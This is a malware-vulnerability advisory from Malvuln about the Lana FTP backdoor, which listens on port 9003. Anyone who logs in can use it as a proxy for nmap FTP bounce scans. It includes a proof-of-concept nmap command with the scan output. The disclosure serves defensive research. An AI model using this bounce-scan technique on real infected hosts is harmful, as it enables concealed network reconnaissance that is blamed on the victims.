Backdoor.Win32.FTP.Lana.01.d Man-In-The-Middle

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/ea9ab5983a6fa71e31907e74d4ddbab6_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.FTP.Lana.01.d  
Vulnerability: Port Bounce Scan  
Description: The malware listens on TCP port 9003. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Family: Lana  
Type: PE32  
MD5: ea9ab5983a6fa71e31907e74d4ddbab6  
Vuln ID: MVID-2022-0540  
Dropped files: sersvc32.exe   
Disclosure: 04/06/2022  
  
Exploit/PoC:  
C:\>nmap -n -Pn -b admin:[email protected]:9003 -p21,22,80 192.168.18.237 -v  
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-04 14:30 UTC-11  
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).  
Attempting connection to ftp://admin:[email protected]:9003  
Connected:220 Silver FTP v1.1  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 14:30  
Discovered open port 80/tcp on 192.168.18.237  
Completed Bounce Scan at 14:30, 2.12s elapsed (3 total ports)  
Nmap scan report for 192.168.18.237  
Host is up.  
  
PORT STATE SERVICE  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.23 seconds  
  
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